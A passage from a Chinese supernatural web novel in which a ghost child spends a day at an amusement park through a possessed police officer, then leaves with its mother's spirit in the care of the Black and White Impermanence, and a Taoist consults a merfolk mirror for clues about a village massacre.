鬼婴转过头，发现不知何时，林凌、吴妄和宋明夷来到了宿舍门口。
林凌拍了拍自己的胸脯：“小鬼，你不是想去游乐园玩吗？我的身体可以借给你，哥哥身强体壮的，能遭得住。”
鬼婴有点儿犹豫。
这一切发生得太过突然了。
它突然有了自己的名字，突然被所有人接受，突然有了曾经没有的关爱，这些事情来得有点儿仓促，让它不知道该不该相信这一切是不是梦境……
但是，鬼也会做梦吗？
不会吧。
“刘悦，可以吗？我们带你的孩子去游乐园玩玩，明天傍晚，就把它还给你。”
沈聆转过头，征求刘悦的意见。
【念悦，你愿意去吗？】
刘悦并没有否定沈聆的这个提议，跟所有希望自己的孩子开心的母亲一样，刘悦微微低下头看着坐在地上的鬼婴，征求孩子的意见。
鬼婴忙点了点头。
自从生下来后，它就没有离开过这个房间。
外面的世界是什么样的呢？
它真的想去看看啊。
哪怕只有一天，让它像一个普通的孩子一样开心快乐地玩耍，它也很满足了。
【那好吧，那你得答应妈妈，要跟着哥哥姐姐们知道吗？不能给哥哥姐姐们添麻烦。】
似乎像是对着想出门玩的孩子交代着几句重要的话。刘悦耐心地叮嘱着鬼婴。
鬼婴忙点了点头，像是得到了特赦令一样，欢呼雀跃了起来，又悬浮在半空中了。
【那么，就麻烦你们了。】
“不麻烦的，放心吧，我会带着念悦好好玩玩。”
【我亏欠这孩子太多了，它本可以有一个完整的人生，但它……唉……】
“过去的事情已经成定局，但我们还能做将来的事情……刘悦，如果有下辈子的话，你一定可以有一个美满的人生。”
【那我……还能再见到伯良吗？】
吴妄沉声说道：“不好说，因缘际会，谁都说不准，如果你们的缘分未尽，相信终究有一天，你们还会相遇的。”
刘悦点了点头。
就在这时，鬼婴轻轻抬起手，众人看到它手中浮动着三个光电。
那三个光电就像是三个灵魂一样，在半空中跃动了几下后，从窗户离开了，并消散殆尽。
【那是她们三个的灵魂，念悦放过她们了，希望她们好自为之，下辈子不要再欺凌他人了。】
“谢谢你，刘悦，谢谢你不计前嫌放过她们。”
【我只是觉得，没必要跟她们计较罢了，毕竟她们太愚蠢了。】
166. 游乐场一日游
按照之前约定的那样，在第二天的时候，鬼婴附身在林凌身上，三人带着林凌来了一次游乐园。
林凌不愧是警校出来的，他的身体素质似乎已经逐渐开始适应了鬼婴的煞气，在鬼婴附身在他身上的时候，对身体的腐蚀性在逐渐降低，他的身体甚至开始作为一个容器适应了鬼婴的煞气。
三人带着林凌（鬼婴）在游乐场玩了一整天。
“姐姐，我要坐这个过山车！”
“姐姐，我要玩那个旋转木马！”
“姐姐，我想玩海盗船！”
鬼婴两眼放光地拽着他们每一个项目都体验了过去，在玩完过山车之后，宋明夷蹲在路边呕吐，沈聆坐在她身边拍了拍她的后背，示意吴妄先带着孩子去玩，她留下来照顾宋明夷。
“哥哥，我想玩那个鬼屋！”
“你自己都是鬼了，那个鬼屋有什么好玩的？去那边看人吓鬼啊？”
“那我……那我要去玩那个大摆锤！”
“行吧行吧。”
于是乎，林凌（鬼婴）便拉着吴妄去玩大摆锤了。
还好吴妄本身就是青城山的修道之人，并不害怕那些高空项目，对这些游乐设备带来的失重感倒是手拿把掐，丝毫没有生理性不适，再加上他本身也是第一次来游乐场，对这些新奇的设备都充满了好奇，像个半大的孩子，跟着林凌（鬼婴）在游乐园玩疯了。
这可苦了宋明夷。
她不是很能适应旋转类、失重类的体验项目，没玩几个就蹲在路边呕吐，早上的早饭全都呕出来了，还蹲在路边不住地呕着酸水。
“……我们休息一下吧。”
“这什么过山车啊，这也太可怕了吧！”
“哈哈哈，你可能不太适合玩这些……”
沈聆拧开了一瓶新的矿泉水递给宋明夷，她刚呕吐完，胃里、食道里都是胃酸，得喝点水压下去。
宋明夷接过沈聆手中的矿泉水，狂喝了几口下去，呕吐让她的嗓子齁疼，像是被针扎一样刺痛刺痛的。
“咕咚咕咚”地喝完差不多半瓶水，宋明夷道了声谢：“我想着来都来了，来拍一起在游乐城的Vlog来着……谁知道这些项目这么搞心态……再也不玩了、再也不玩了。”
就在二人说话之间，一个声音在旁边响起。
“请问……你是沈聆吗？”
那个声音有点儿软绵绵的，是个男人的声音。
沈聆和宋明夷循声望去，看见一个脸色苍白的男人正站在她们身边，只见他身形消瘦，仿佛一阵风便能将其吹倒，单薄的肩胛骨在衣衫下突兀地耸起，似是两片脆弱的蝶翼，艰难地撑起那并不宽阔的背部，他的脸庞清瘦，肤色透着一种病态的苍白，犹如被岁月遗忘在角落的旧纸张，毫无血色与生机，双颊深深凹陷，颧骨高高隆起，使得面部轮廓显得格外嶙峋。
虽然面容清瘦到有点儿脱相，但从那骨相依稀可以看出男生的秀气。
“你是……”
“我是马伯良。”
他一开口，便震惊了两人。
沈聆和宋明夷对视了一眼，她们没想到在这游乐场里居然会遇到马伯良。
他微微弓着背，像是背负着无形的重担，身体微微颤抖着，偶尔还会咳嗽几声，那咳嗽声每一声都像是从胸腔深处艰难地挤出来，伴随着轻微的喘息声，让人不禁为他那虚弱的身体揪心。
之前，沈聆也提议过想见见马伯良，并亲口告诉他关于刘悦的事情，但马老校长拒绝了，在刘悦死后，因为被人下药的原因，马伯良出现了精神类疾病，经常可以看到刘悦的身影，并且神经高度紧张，像一个精神病人一样时不时会大喊大叫，他认为孙子这样的状态不适合见客，甚至不适合单独出门。
但没想到，今天他们居然遇见了马伯良。
“你……你是马伯良？马老校长的孙子？”
“嗯，是我。”
“你的身体……好多了吗？我听马老校长说你最近在吃药，精神类的药物或许能让你稍微镇定一点。”
“最近我的情况稳定多了。”马伯良温和地说道，“刚开始他们都以为我得了‘精神分裂’，说我出现了幻听和幻视，把我关进了精神病房里治疗……我爷爷帮我找了国内注明的精神科医生，前段时间刚做完全身体检，抽血发现我的血液里有中置幻类的药物，那种药物不知道是什么时候进入我的身体的，但那种药物能进入我的大脑，让我产生幻觉，并且代谢很慢，可能需要好长一段时间才能通过人体正常的新陈代谢清除出去。”
“这样啊……”
沈聆叹了口气。
“对，不过没关系，我现在正在接受治疗，我的精神情况也稳定多了……”
马伯良说话的声音很轻，他看起来像是一个比较内向的男生，面容清秀、性格沉稳，算是青春期疼痛文学的那种男主角人设。
沈聆大概明白了几分为什么刘悦和李艾都会心仪这个男生。
“我听我爷爷说了你们在陵川一中的事情……刘悦她，还好吗？”
“你特地过来，就是为了了解刘悦的事情吧。”
“嗯，我很挂心她，自从她……我已经很久没有见过她了，我很想她。”
“她之前一直徘徊在陵川一中的舞蹈室，那是你们重逢的地方吧，她总是听着同一首舞曲，那首歌像是改编过的歌，她或许，也很想你……”
闻言，马伯良眼中闪过几分失落之情，他微微低下头，脸上覆上了一层悲伤。
“嗯，那是我为她改编的歌，她是一个很有舞蹈天赋的女孩，如果不是选错了发展方向，她会是一个很有前途”
“不过别担心，她的尸体已经找到了，而且，关于孩子的事情，她也已经明白了原委，她在这个世界上没有遗憾了。”
“我听说……你们今天是带念悦过来游乐园玩是吗？”
“对，它的心愿有两个，一个是希望有自己的名字，另一个，就是希望来游乐场玩一天。还好我们一个人里面有一个警察哥哥，他的身体素质很好，能让念悦附身一天也没关系，他们现在
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在那边玩大摆锤，你想见他的话，我们等一等，他们就回来了。”
听到这里，马伯良陷入了沉默，沈聆虽然是安慰的话，但这些话却更让他自责愧疚。
他缓缓地垂下头，双眼黯淡无光，那原本明亮而有神采的眸子此刻却变得无比复杂。
在他的眼中，愧疚如潮水般汹涌澎湃，一波又一波地冲击着他脆弱的心防；悲伤则像深秋的寒风，无情地吹刮着他内心深处最柔软的角落；自责宛如沉重的枷锁，紧紧地束缚住他的灵魂，让他无法挣脱；而无奈，则如同一张无形的大网，将他笼罩其中，令他感到窒息和绝望。
然而，谁能想到这个面容憔悴、神情落寞的男子仅仅只有十八岁呢？这本应是一个充满朝气与活力的年纪，可如今的他，头上竟然已经长出了许多显眼的白发，就像是岁月提前在他身上留下的深深印记。
不仅如此，由于遭受病痛的折磨，他的身体早已不堪重负，体重急剧下降，整个人看上去瘦骨嶙峋，甚至可以用“瘦脱相”来形容。
从远处望去，他哪里还有半分血气方刚的小伙子模样，反倒更像是一个风烛残年、行将就木的老头。
命运似乎对他开了一个残酷至极的玩笑，就在一夜之间，他失去了他深爱着的那个女孩以及他们尚未出世的孩子。
这突如其来的打击，几乎要将他彻底击垮，让他陷入无尽的黑暗深渊之中。
沈聆和宋明夷看着马伯良的表情，知道他心里难受，但她们却做不了什么，只能在口头上稍加安慰。
“你别担心，这件事情毕竟一开始也都是阴差阳错，刘悦她不知道你是人鱼一族的血脉，所以才……”
“是我害了她，是我对她产生了爱慕之心，也是我和她做了不该做的事情……她是无辜的，她本来有大好的人生，但却因为我毁于一旦。”
“爱人之心，或许有时候真的会害人……只可惜你们遇见的时机不太对，如果你们不是相遇在高中的时候，或许你们会有一个很好的结局。”
“我想，我此生都无法再遇见这么好的女孩子了。”马伯良抬起头，看向了天空，“‘君埋泉下泥销骨,我寄人间雪满头’，要是下辈子还能和她遇见，我一定好好珍惜她。”
“或许还真有的可能，道长说如果你和刘悦之间的缘分未尽，说不定是可以再续前缘的。”
“是吗？如果真的是这样就好了……”
“或许，今天晚上你可以来送送她。”
“可以吗？”
“嗯，待会儿傍晚的时候，我们要把念悦送回去陵川一中404女寝，我想，它会跟着刘悦一起离开，这是你见她们母子最后的机会了，你想去吗？”
“我可以去吗？她会不会怨恨我？”马伯良眼中闪过几分希冀，但那转瞬即逝的希冀看起来又像是他内心的奢望。
他担心她会怨恨他，他担心她会责怪他让她一个人承受了这么多。
沈聆叹了口气：“你放心吧，如果怨恨你的话，就不会一直停留在舞蹈室不肯离去了。”
167. 回到宿舍
且说，林凌（鬼婴）玩了一天，在夕阳西下的时候，吴妄带着林凌（鬼婴）回到了过山车下，在那里，沈聆、宋明夷、马伯良正在那边等着。
西边天际那渐渐西沉的夕阳宛如一位神奇的画师，用它手中绚丽多彩的画笔轻轻地挥洒着，将整个游乐园都浸染成一片红彤彤的颜色。
那轮如橘子般鲜艳的夕阳悠悠地悬挂在远处山头上，仿佛是一颗璀璨夺目的宝石镶嵌在了天边。
它散发出来的温暖光芒如同给整个陵川市披上了一件金色的纱衣，使得这座城市沐浴在了柔和而迷人的余晖之中。
夕阳拉长了众人的影子，在余晖中，林凌（鬼婴）拉着吴妄的手，蹦蹦跳跳地朝着沈聆和宋明夷跑来。
“沈聆姐姐——宋明夷姐姐——”
只见林凌（鬼婴）轻松地抬起手臂，用力地挥了挥手，那张原本就阳光帅气的面庞此刻更是如春花绽放一般，灿烂的笑容肆意地在他脸上蔓延开来，仿佛连周围的空气都被这欢快的情绪所感染而变得轻盈起来。
从他那微微上扬的嘴角到明亮闪烁的眼眸，再到轻轻颤动的睫毛，每一个细微之处似乎都透露着难以掩饰的愉悦与满足，那眼角眉梢间不经意流露出的笑意，犹如春日里最温柔的微风。
他玩得很开心。
只不过，他用的身体是一个二十多岁的男人的身体。
这身体的成熟和灵魂的稚嫩显得格格不入。
“……好奇怪的感觉。”宋明夷看着蹦蹦跳跳的林凌（鬼婴），突然感觉有点儿恶心，这种感觉就像是吃了隔夜饭一样。
“有一点……”
马伯良意味深长地看着林凌（鬼婴），他的眼眸透过林凌的身体，似乎看到了那藏在林凌身体里的小灵魂。
他已经从爷爷那边知道了马念悦的所有事情，他给它起了一个名字，希望这孩子是带着他对刘悦的感情诞生的。
林凌拉着吴妄的手，来到了三人身边，他眨了眨眼睛，好奇的眼神在马伯良身上转了一圈，复又带着几分疑惑看向了沈聆，似乎在询问这个陌生人是谁？
“这是……”
“我是沈聆的朋友，别担心，我不会伤害你。”马伯良掩去了他的真实身份，他看着林凌的眼神中带着几分温柔，似乎不愿意就这么吓到林凌身体里的鬼婴。
今天是它在这个人间的最后一天。
这是他素未谋面的孩子，他不想这孩子被吓到。
它只是一个孩子的心智，他希望这孩子开开心心地过完这一天，不要带着遗憾离开，也不要在临了了太过纠结于这个父母的事情。
众人也在这一刻明白了马伯良的想法，谁都没有说穿，只是尊重这个年轻的父亲的选择。
“……今天玩得开心吗？”
沈聆抬起手，摸了摸林凌的脑袋。
林凌（鬼婴）用力点了点头。
“开心！玩了很多我想玩的项目！开心！”
林凌（鬼婴）激动得手舞足蹈起来，那张原本就有些苍白的小脸此刻更是毫无血色，仿佛被一层淡淡的冰霜所覆盖——显然，由于鬼魂长时间的附体侵蚀，他那脆弱的□□已经不堪重负，每一丝肌肉都在微微颤抖着。
然而，尽管身体状况如此糟糕，他那双眼睛却依然闪烁着明亮的光芒，宛如夜空中璀璨的星辰，其中蕴含的开心与喜悦简直要溢出来一般，让人无法忽视。
那三分死气沉沉不仅没有削弱这份情绪，反而更像是一种独特的点缀，使得他整个人看起来越发神秘而诡异。
有一种，在死人脸上看到活人气息的感觉，也有一种在活人身上感觉出死气的味道。
这是鬼婴念悦自从出生以来最开心的一天。
这一天，他和其他孩子一样，在游乐园玩了所有他想要体验的项目。
他对人生的看法很简单，有爱自己的父母，以及能够开心快乐地玩耍。
“开心就好……开心就好……”
马伯良喃喃着这句话，他的眼眸里泛着几分泪光，为了不让孩子看到，他别开眼去，故作打了个哈欠，不经意地一抬手擦去了眼泪。
于是乎，众人便打算回到陵川一中。
因为现在林凌的身体里是鬼婴，鬼婴不会开车，因此他们是打车到游乐园的。
现在多了一个马伯良，倒是不方便打车了，众人索性坐公交车回去学校。
在回去学校之前，宋明夷原想带着林凌（鬼婴）去吃吃看她心心念念的老巷子牛肉面，但鬼婴是阴灵，虽然附着在林凌的身体上，但却没办法吃到人间的食物，吴妄说，他们这样附身的鬼魂，就算吃下去东西也尝不出味道的，它们游荡在人间太久了，已经失去了感知世间百味、酸甜苦辣的能力。
于是众人直接回到了陵川一中。
回到陵川一中的时候，天色已经暗下来了。
马老校长已经和舍管方面打过招呼，让他们进去404宿舍。
在进入404宿舍后，吴妄手掌一转，一道八卦阵在脚下张开，随着那金光八卦阵的张开，一道结界也应声而起，笼罩住了整个404宿舍。
“出来吧。”
吴妄沉下眼眸，看向了那镶嵌着一面镜子的衣柜。
就在他刚刚说完话的瞬间，原本平静如湖面般的镜子突然泛起了一丝诡异的涟漪，紧接着，一抹暗红色的血光若隐若现地从镜子深处透出来，仿佛有什么恐怖的存在正在觉醒一般。
随着时间的推移，那道血光越来越强烈，大片鲜红如火焰般的血液开始源源不断地从镜面上渗出来。
这些血液像是拥有生命一样，沿着镜面缓缓流淌而下，最终汇聚到了地面之上。
当血液在地面上越积越多时，令人毛骨悚然的一幕发生了——只见那些血液竟然开始自动凝聚起来，渐渐地形成了一个模糊的人形轮廓！
这个轮廓起初还很朦胧，但随着更多血液的加入，它变得越来越清晰，就好像一个被鲜血浇灌而成的恶魔即将破茧而出，逐渐凝结出了一个人的形状轮廓。
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是刘悦。
马伯良在看到那个熟悉的人形的时候，先是愣了一下，他揉了揉眼睛，像是想从那模糊的人形轮廓中辨认出自己曾经喜欢过的女孩子的影子，淡淡的血腥味逐渐在这一脉空气中扩散开来，那些血腥味似乎在提醒着他自己已经和刘悦阴阳两隔的事情。
“……小悦。”
马伯良轻轻喃喃着那个熟悉的名字。
刘悦似乎也听见了马伯良的声音，她化形出了五官，虽然通体都是血红色，但那五官却是马伯良熟悉的轮廓。
她往前走了一步，似乎想与爱人相认，但这时也看到了站在马伯良身边的林凌，在那身体里，是她和马伯良的孩子）孩子看起来很开心，面带笑容的样子，如果在这个时候知道在身旁的这个男人就是自己的父亲，孩子是否能接受呢？
她和孩子在这个世界上的时间不多了，在这么短的时间内，是否要打断孩子今天玩乐的兴质？
考虑到这里，她也和马伯良一样，选择了沉默。
他们都不确定孩子知道了马伯良的真实身份后是否能接受，是否会痛苦那段孩子的父亲不曾出现过的空缺，是否会质问马伯良为什么不来找他们……
所有的一切，都会将这来之不易的幸福摧毁。
他们没有太多的时间了，他们的生命早就已经停在了过去的某一天，现在所有赊账的时间，全都是不属于他们的倒计时。
“妈妈！我今天去游乐园玩了好多项目啊！我很开心！”
林凌（鬼婴）兴奋地说着，还从口袋里拿出了一个在游乐场玩射击项目赢得的小河马，展示给刘悦看。
刘悦点了点头：“那就好，我们念悦开心就好。”
她也说了同样的话，事已至此，他们似乎也只能说这些话了。
“那……你现在还有什么想做的事情吗？”
“没有了妈妈，我现在很幸福！”
“对不起，念悦，是妈妈害了你。”
“没有的，妈妈，我不怪你，妈妈也很不容易，能到这个世界上玩一趟，我已经很知足啦！”
念悦是一个乖孩子，只可惜生错了时候。
如果能健康成长，一定是个体贴父母、孝顺长辈的好孩子。
“如果还有下辈子的话，真想继续来这个世界啊。”
念悦说着，抬起头看向了宿舍的天花板。
在这时，林凌的身体发出一道淡淡的荧光，一个轻飘飘的灵魂似乎从他的身体离开了。
那是念悦的真身。
马伯良第一次看到了那个长着鱼尾巴的小婴孩的身体。
在念悦离开了林凌的身体后，林凌身体一软，倒在了地上，宋明夷忙扶住了他，他看起来陷入了沉睡，似乎这一天已经耗尽了他身体所有的气力。
“麻烦大家照顾了念悦一天，他玩得很开心。”刘悦感激地看着众人，“我们给大家添了很多麻烦，谢谢大家帮我找到了身体，也还我们母子一个真相，现在，我们差不多也该走了……”
168. 人鱼镜
“谢谢大家照顾了我家念悦一天，这孩子给大家添了不少麻烦，很感谢大家这么包容他，我们母子，现在也差不多要到了离开的时间了……”
刘悦说着，朝着长着鱼尾巴的鬼婴招了招手。
那孩子也听懂了刘悦的话，他乖巧地回到了母亲身边，微微低下头，蹭了蹭刘悦的手，像是一个祈求母亲关爱的孩子。
刘悦伸出手，轻轻拉住了念悦的小手，又摸了摸它的脑袋。
母子二人，这一刻终于化解了心头的误解。
马伯良感慨万千地看着这一幕，忍不住一阵悲伤涌上心头，他张了张口，终究是什么话都没说，那千言万语，都化作了流下的两行眼泪。
他后悔了。
如果没有早尝禁果，或许这一切悲剧都不会发生。
如果一切都等到他们有能力组建家庭后再进行，他将有一个体贴的妻子，一个懂事的孩子。
只不过，现在说这些都晚了。
刘悦牵着孩子的手，最后看了一眼她牵挂的人间，以及，她牵挂的人。
马伯良静静地伫立在离她仅有几步之遥的位置，他的目光牢牢地锁定在她身上，那双深邃而明亮的眼眸之中，流露出丝丝缕缕的牵挂与深深的不舍之情。
尽管他并未开口说只言片语，但那饱含着千言万语的情感，却全都凝聚在了这令人心碎的、依依不舍的眼神当中。
刘悦凝视着他的双眼，仿佛能够穿透那层层迷雾，读懂他内心深处未曾言说的话语。
就在这一瞬间，往昔的记忆如潮水般涌上心头。她清晰地回想起了他们初次相遇时的情景——那个阳光明媚的午后，命运的红线将两人紧紧缠绕在一起；她也忆起了每日放学后，在夕阳的余晖下他总是站在窗外、目不转睛地看着她翩翩起舞的身姿；还有那些在热恋时光中，彼此间轻声细语、充满浓情蜜意的呢喃情话......
最后，那些在眼前一闪而过的画面都化作了耳畔隐隐约约传来的熟悉的音乐。
那首歌，是他和刘悦最熟悉的——那是她在舞蹈室里播放的歌曲，也是他为她改编的乐声。
刘悦微微一笑。
“谢谢。”
但马伯良终究是无法放下，他眉头紧锁地看着刘悦，他知道自己现在做什么都为时已晚，只能说一句：“对不起。”
马念悦不明情况地看着刘悦，又看看马伯良，似乎对这个陌生的大哥哥充满了好奇。
“……念悦，我们打算离开了。”
“好。”
“你会害怕吗？”
刘悦蹲下身子，摸了摸马念悦圆乎乎的小脸。
念悦摇了摇头：“只要和妈妈在一起……做什么都不怕。”
刘悦鼻子一酸：“好。”
他们是阴魂，没办法在这个人间徘徊太久。
他们没有受世人的香火，无法长存，一旦恨意瓦解，如果不及时转世投胎，很快就会灰飞烟灭。
她的时间不多了。
她要带着孩子去投胎转世了。
这一生很短，只有不到二十年，但这一生也很长，她遇见了所有爱她的人。
带着遗憾，结束吧。
“跟我们走吧。”
一个声音在门口响起。
众人回头看去，正看到子涵的爸爸妈妈站在门口，他们依旧穿着常人的便服便装，也化形成了正常人的模样，但沈聆和吴妄知道，他们是黑白无常。
“这是谁啊？”宋明夷用手肘捅了捅沈聆的腰，不明所以地看着那突然出现的两个人，只觉得他们好像走路没声音一样，都不知道什么时候就出现在宿舍门口。
“是黑白无常。”沈聆低声回答。
“啊？！”
“嗯，不只是他们，还有孟婆，他们最近在陵川市，不过为了不吓到大家，化形成了正常人的模样，藏在人群里。”
“这个世界上居然真的有黑白无常啊？！”
“废话，你都是看过鬼的人了，黑白无常很奇怪吗？”吴妄皱起眉头，看着宋明夷，一副看着乡下土鳖的表情。
“那能一样吗？我之前都是在鬼故事里才听过黑白无常的大名，还有牛头马面，我还以为都是传说而已！”
闻言，白无常微微一笑，看着宋明夷：“牛头马面没来，他们是鬼差，日常负责勾魂，带走新丧的人的魂魄。而我们此行则是来调查一些亡魂无法引渡到阴间转世的事情的。”
宋明夷明明是窃窃私语，但似乎全被黑白无常清晰地听到了。
宋明夷忙点了点头，看着眼前化身高贵美妇人的白无常，内心不由得啧啧称奇。
大千世界，无奇不有。
人类的认知还是太过狭隘了。
“小聆聆，我可以跟他们要一个签名吗？我还是第一次见黑白无常诶！我觉得我能拿到世界上唯一一个鬼差的签名，这也太酷了吧！”
白无常依旧微笑着，语气温柔地说：“可以啊，但我们是用血签的，而且我们从来只写生死簿，你是想被写上去吗？”
宋明夷一听，傻眼了，忙拒绝：“不不不，那就不用了哈，婉拒了哈，我还想多活几年。”
吴妄一挑眉：“他们能看到生死簿，宋明夷，你想不想知道自己究竟还有多少阳寿？”
“我可不想知道。”宋明夷连连摇头，“如果那样的话，岂不是每一天都要活在恐慌里面，我才不要，我还是现在这样一无所知地活着吧，这样也挺好。”
“时间差不多了，刘悦，你和你的孩子准备准备跟我们走吧。”
不苟言笑的黑无常打断了众人，微微眯起眼睛看向了刘悦。
“好。”
刘悦牵着孩子的手，朝着黑白无常走去。
在走过马伯良身边的时候，她最后抬起头看了一眼这个男人。
她的眼神中满是对这个世界的留念，对亲人的留念。
马伯良低声说道：“安心去吧，我会好好照顾你的父母。若有来生，记得再来找我，我会等你的。”
“你要好好照顾自己。”
“好。”
匆匆一眼，两人做了此生最后的告别。
马念悦似乎也猜到了这个大哥哥是谁，他抬起头看着马伯良，在看到对方那双温柔的眼神之后，心中对于父亲的猜测似乎也在无形中被填满了，他虽然没有和马伯
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良相认，但内心却也明白了眼前这个人对自己的重要性。
在短暂的告别后，刘悦和马念悦已经走到了黑白无常的身边。
最后看了一眼自己挂念的人后，她牵着孩子，跟着黑白无常转身离开了。
一道蒙蒙的白光闪过，那道白光像是来自彼方的世界，当那光笼罩在身上，浑身感觉到暖意，但在那白光消失后，黑白无常、刘悦和孩子都消失了，空空的宿舍里再一次恢复了平静，这一切就像是从来没有发生过。
匆匆人世间，他们的到来就像是砸落在平静水面的一个小石子，在激起一池涟漪，但在涟漪消失之后，水面逐渐恢复了平静。
马伯良痴痴地看着刘悦消失的方向，陷入了沉默。
这件事情，终于落下了帷幕。
那留在陵川一中的恐怖传言，终于破解。
只不过，马伯良心中留下了一块空白，这块空白，怕是谁都无法填补了。
他只能用自己的余生一遍遍去回忆过去发生的事情，离开的人已经干脆利落地离开了，但活下去的人才需要继续受记忆的折磨。
吴妄一抬手，收起了张开在宿舍内的结界。
在这时，林凌也转醒了过来。
“……结束了吗？”
他抬起头看向扶着自己的宋明夷。
“嗯，结束了，刘悦和孩子已经离开了，黑白无常带他们走的，他们走的很安详。”
“孩子呢？心愿都满足了吗？”
“他玩得很开心。谢谢你把自己的身体借给他。”马伯良看向了林凌，对这个陌生人表达了自己的感激，“说来也惭愧，我这个亲生父亲都没有做到你的程度，我也算不得什么父亲……”
“不是这样的。”沈聆安慰道，“你已经尽力了，而且在刘悦出事的时候，你也随即被下药了，你生病了，后续那些事情都不是你能控制的。不过还好，现在刘悦和孩子都没有什么遗憾，马伯良，你也放过自己吧。”
“嗯……”
马伯良虽然点了点头，但却依旧没能解开心结的样子。
解铃还须系铃人，可能自己的心结，也需要他自己走出来。
沈聆便没有再继续这个话题。
不过，她倒是还有一件事情很挂心：“对了，马老校长答应过我们，在解决这件事情后，就借我们人鱼镜一用，这件事情，他有交代你吗？”
“有的，这也是我今天来到第二个目的。”马伯良说着，看向了吴妄，“你是吴妄道长对吗？”
“是我。”
“我爷爷说，带你去看人鱼镜。但是……因为人鱼镜是我族至宝，担心人鱼镜的消息泄露，因此只能带你一个人去。”
马伯良说着，朝着宿舍外走去。
吴妄看向了其他小伙伴。
沈聆点了点头：“你跟他去吧，我们在校门口等你。”
“好。我去去就回。”
吴妄说着就要跟着马伯良离开。
沈聆想起了什么，拉住了吴妄：“无论看到什么……答应我，道长，不要太冲动。”
他看着沈聆那认真的表情，思索了半晌后，承诺道：“明白。”
169. 羽毛
那天晚上，马伯良带着吴妄离开了差不多一小时左右。
宋明夷先带着林凌离开了，因为今天被鬼附身了一天，林凌的身体多少还是受到了点影响，他看起来脸色苍白，身体有点儿虚弱，似乎鬼魂的煞气影响了他的精神头绪。不过还好，除此之外他并没有其他生理性不适，因此，宋明夷先带着林凌回家了。
沈聆在陵川一中的校门口等着了将近一个小时后，就在这时，沈聆突然瞥见了沿着蜿蜒小径缓缓走来的两人。
她定睛一看，原来是吴妄和马伯良从幽静的小树林里走了出来！
他们应该是已经看过了人鱼镜，不知道吴妄是否已经知道了他想要的答案。
不过，安然无恙总是好的。
原先沈聆还担心吴妄如果知道了当年吴家村的真相，是否会做出一些冲动的报仇举动来，但现在看来，似乎他压住了心头的情绪，将所有的神思都藏在了风平浪静的表面之下。
他看着状态好好。
沈聆心中一喜，赶忙快步迎上前去。
只见马伯良那张原本就苍白如纸的脸庞此刻更是毫无血色，在清冷的月色映照下宛如鬼魅一般，他那瘦弱不堪的身躯在夜风的吹拂下微微颤抖着，仿佛随时都会被风吹倒在地。
他有点儿魂不守舍，似乎从刘悦离开之后，他就像丢了魂一样，变成了世间的行尸走肉。
而走在马伯良身边的吴妄的面色阴沉得仿佛能滴出水来，那紧蹙的眉头犹如两道深深的沟壑，将他内心的忧虑毫无保留地展现在脸上。
“道长，你们回来啦……”
沈聆迎了上去，吴妄不辨悲喜地应了一声。
“怎么样？有问到你想要问的真相吗？”
“有，不过，并不是很清楚。”
“这……”
“吴妄，你问的是当年屠杀吴家村的人，人鱼镜虽然能洞察世间万物，但也不是绝对的无所不知。”马伯良安慰，“人鱼镜如果没有你想要的答案，说明对方……或许并不是普通人。”
“道长，你们在人鱼镜看到了什么？”
吴妄抬起头看向了沈聆，他的眼眸深沉中染上了几分恨意，“我问了当年屠杀吴家村的背后真凶是谁，但是人鱼镜并没有给我一个准确的答案，镜子里出现了一个房子，一个老旧的，像是民国时期的房子，在房子里有一口古井，看起来古井已经干了，上面长满了青苔，除此之外，人鱼镜就没有其他提示了。”
老房子。
古井。
吴妄询问的明明是屠杀吴家村的真凶，但是人鱼镜给出的答案不是一个人，也不是一个团伙，反而是没有生命的东西。
这是什么意思呢？
沈聆也陷入了沉默。
原以为解决完这些事情之后，他们就能找到吴妄一直以来追寻的真相，但是现在看来，打开了一扇门，就会有另一扇门出现在眼前，这些层层叠叠的迷宫，一局套着一局，越往深处走去，却发现有越多的谜团没有解开，看来当年吴家村的事情，并没有那么简单。
“人鱼镜只能给你一个指向性的信息，吴妄，人鱼镜并不是你们认为的没有灵气的物体，相反，它是我们人鱼一族的传世珍宝，它有自己的思维和意识……就像沈聆身体里的灵元草一样，或许它把它认为最重要的信息展示给了你，只不过按照我们现在的认知，暂时没办法看穿，我想，终有一天，你们会明白这个问题的答案的。”
“是啊，道长，不要泄气，我们并不是一无所获，至少……人鱼镜给了我们一个可以寻找的方向，或许我们只要找到你在人鱼镜里看到的那个房子和那口古井，我们就能顺藤摸瓜找到更多的线索。”
沈聆也低声安慰。
吴妄沉默着，点了点头，将自己所有的情绪都藏进了眼底。
事已至此，有总比没有好，至少这次下山并不是一无所获，人鱼镜给了一些线索，或许按照这个方向寻找，真的可以有更多的答案。
“现在的搜索软件很发达，宋明夷就会用AI绘图软件……不然我们回去找明夷吧，用AI软件把道长你在人鱼镜里看到的东西画下来，之后放到网络上搜索比对，或者卫星定位查找，我想很快就会有结果的。”
“嗯，我也是这么认为的。”
沈聆和马伯良提供了一个思路。
用现在的大数据软件搜索，能尽可能减少排查寻找的时间，并且现在卫星定位能找到全球各地的房子，区区一座古宅，想必要找到它并不是难事。
“AI？那是什么？”
吴妄看起来不是很能听得懂他们的话。
他毕竟是从山上下来的，对山下的东西还不是很了解。
在现代科技这一块，他就像是与世隔绝的中生代的人，思维和处理信息的手段还跟不上现代科技发展的速度。
不过没关系，其他人倒是能够很好地补上这个短板。
马伯良低声解释：“是一种……人工智能的东西，能创造出作品、绘画、音乐，甚至可以模仿人类思考……我可以帮你用AI绘画出刚才在人鱼镜里看到的东西，我刚才也看到了那座房子，我先回去用AI成像还原一下，然后……沈聆，我加一下你，然后我通过邮箱发给你。”
“好的。”
沈聆点了点头。
与吴妄不同的是，她现在倒是觉得思路清晰了不少，尤其是引入大数据寻找，一定可以事半功倍。
她甚至觉得，人鱼镜给出的是一座古宅，这可比一个人要好找多了，人长了两条腿，是可以到处跑的，难以在人海中找到下落，但房子可跑不了，只要找到了房子，就能顺着房子查到房子背后的信息和人鱼镜想告诉他们的事情。
于是乎，沈聆和马伯良互加了好友，她给马伯良留了自己的留言，马伯良也承诺会在AI绘图后，第一时间发给沈聆，毕竟是帮了他和刘悦的人，他也想报答他们，为吴妄的事情尽一份自己的力量。
这一夜，就这样过去了。
第二天，沈聆照常去上学了，宋明夷照常去医院上班，在家里休息了一上午后，下午林凌也回到了公安局继续上班。
在林凌回到公安局的时候，迎面便看到了李队长。
“李队！”
林凌站在自己的办公桌旁，看见了李队长，李队长穿着制服，手中拿着一叠文件，正从自己的办公室里走了出来。
看见李队长，林凌恭恭敬敬地敬了个礼。
“好了好了，林凌，这里又
